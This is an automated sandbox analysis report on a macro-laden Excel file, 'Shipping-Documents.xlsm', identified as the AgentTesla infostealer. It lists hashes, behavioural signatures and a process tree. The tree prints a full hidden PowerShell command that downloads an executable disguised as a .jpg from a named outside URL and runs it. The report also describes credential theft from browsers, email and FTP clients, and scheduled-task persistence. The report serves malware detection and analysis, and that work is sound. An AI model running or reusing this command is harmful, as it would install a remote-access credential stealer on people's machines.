Analysis
- max time kernel
96s - max time network
67s - platform
windows7_x64 - resource
win7 - submitted
09/07/2020, 15:00
Static task
static1
Behavioral task
behavioral1
Sample
Shipping-Documents.xlsm
Resource
win7
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Shipping-Documents.xlsm
Resource
win10v200430
0 signatures
0 seconds
General
- Target Shipping-Documents.xlsm
- Size 152KB
- Sample200709-a8rewrmtqa
- SHA256 ffba42d34595885f6f5432f438ddb49d24539c1ba0e622f0f4ebd4d730c03a4e
- MD5 ffaffe494f31800a47057a82843480c5
- SHA1 8a0695bc3f0776a769693ff22db7cd1e3ed0c177
- SHA512 7e3ad55095d6859192596254ab7464c4a8368cc98049e4e8d45158fd16f50bb99ab6c3e45c7761f4655255a366c02da236a5298b35f723668120652826cfd2c9
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
http://shopcart.indbytes.com/cig/myori.jpg
Signatures
- Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 112 EXCEL.EXE 112 EXCEL.EXE 112 EXCEL.EXE - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1048 112 cmd.exe 23 - Loads dropped DLL 1 IoCs
pid Process 1876 csle.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Office loads VBA resources, possible macro or embedded object present
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 112 EXCEL.EXE - Blacklisted process makes network request 1 IoCs
flow pid Process 4 1512 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 1876 csle.exe 1644 csle.exe - AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 112 wrote to memory of 1048 112 EXCEL.EXE 24 PID 112 wrote to memory of 1048 112 EXCEL.EXE 24 PID 112 wrote to memory of 1048 112 EXCEL.EXE 24 PID 1048 wrote to memory of 1512 1048 cmd.exe 26 PID 1048 wrote to memory of 1512 1048 cmd.exe 26 PID 1048 wrote to memory of 1512 1048 cmd.exe 26 PID 1512 wrote to memory of 1876 1512 powershell.exe 28 PID 1512 wrote to memory of 1876 1512 powershell.exe 28 PID 1512 wrote to memory of 1876 1512 powershell.exe 28 PID 1512 wrote to memory of 1876 1512 powershell.exe 28 PID 1876 wrote to memory of 1788 1876 csle.exe 29 PID 1876 wrote to memory of 1788 1876 csle.exe 29 PID 1876 wrote to memory of 1788 1876 csle.exe 29 PID 1876 wrote to memory of 1788 1876 csle.exe 29 PID 1876 wrote to memory of 1644 1876 csle.exe 31 PID 1876 wrote to memory of 1644 1876 csle.exe 31 PID 1876 wrote to memory of 1644 1876 csle.exe 31 PID 1876 wrote to memory of 1644 1876 csle.exe 31 PID 1876 wrote to memory of 1644 1876 csle.exe 31 PID 1876 wrote to memory of 1644 1876 csle.exe 31 PID 1876 wrote to memory of 1644 1876 csle.exe 31 PID 1876 wrote to memory of 1644 1876 csle.exe 31 PID 1876 wrote to memory of 1644 1876 csle.exe 31 - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1876 set thread context of 1644 1876 csle.exe 31 - Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1788 schtasks.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1512 powershell.exe Token: SeDebugPrivilege 1876 csle.exe Token: SeDebugPrivilege 1644 csle.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 1512 powershell.exe 1512 powershell.exe 1876 csle.exe 1644 csle.exe 1644 csle.exe - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
Processes
-
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Shipping-Documents.xlsm1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:112 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://shopcart.indbytes.com/cig/myori.jpg',$env:Temp+'\csle.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\csle.exe')2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1048 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('http://shopcart.indbytes.com/cig/myori.jpg',$env:Temp+'\csle.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\csle.exe')3⤵
- Blacklisted process makes network request
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1512 -
C:\Users\Admin\AppData\Local\Temp\csle.exe"C:\Users\Admin\AppData\Local\Temp\csle.exe"4⤵
- Loads dropped DLL
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1876 -
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eKYWQxlZZ" /XML "C:\Users\Admin\AppData\Local\Temp\tmpC6D7.tmp"5⤵
- Creates scheduled task(s)
PID:1788
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C:\Users\Admin\AppData\Local\Temp\csle.exe"{path}"5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1644
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